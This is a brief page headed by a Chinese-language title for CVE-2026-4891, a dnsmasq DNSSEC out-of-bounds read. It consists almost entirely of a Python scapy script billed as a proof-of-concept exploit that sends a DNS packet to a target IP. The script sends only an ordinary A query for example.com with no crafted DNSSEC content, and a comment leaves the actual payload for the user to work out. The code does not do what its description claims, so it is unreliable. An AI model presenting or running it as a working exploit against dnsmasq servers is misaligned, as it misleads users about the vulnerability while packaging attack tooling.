CVE-2026-4891: dnsmasq DNSSEC验证越界读取漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-4891 Description: Heap-based out-of-bounds read in dnsmasq DNSSEC validation. This script sends a crafted DNS packet to the target. Usage: python3 poc.py <target_ip> """ import sys from scapy.all import IP, UDP, DNS, DNSQR, send def send_exploit(target_ip): # Construct a crafted DNS packet ip = IP(dst=target_ip) udp = UDP(sport=12345, dport=53) # Crafted DNS query with specific flags to trigger validation # Note: Adjust specific payload based on technical analysis of the bug dns = DNS( id=1337, qr=0, opcode=0, rd=1, qdcount=1, qd=DNSQR(qname="example.com", qtype="A") ) packet = ip/udp/dns send(packet, verbose=0) print(f"[+] Packet sent to {target_ip}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])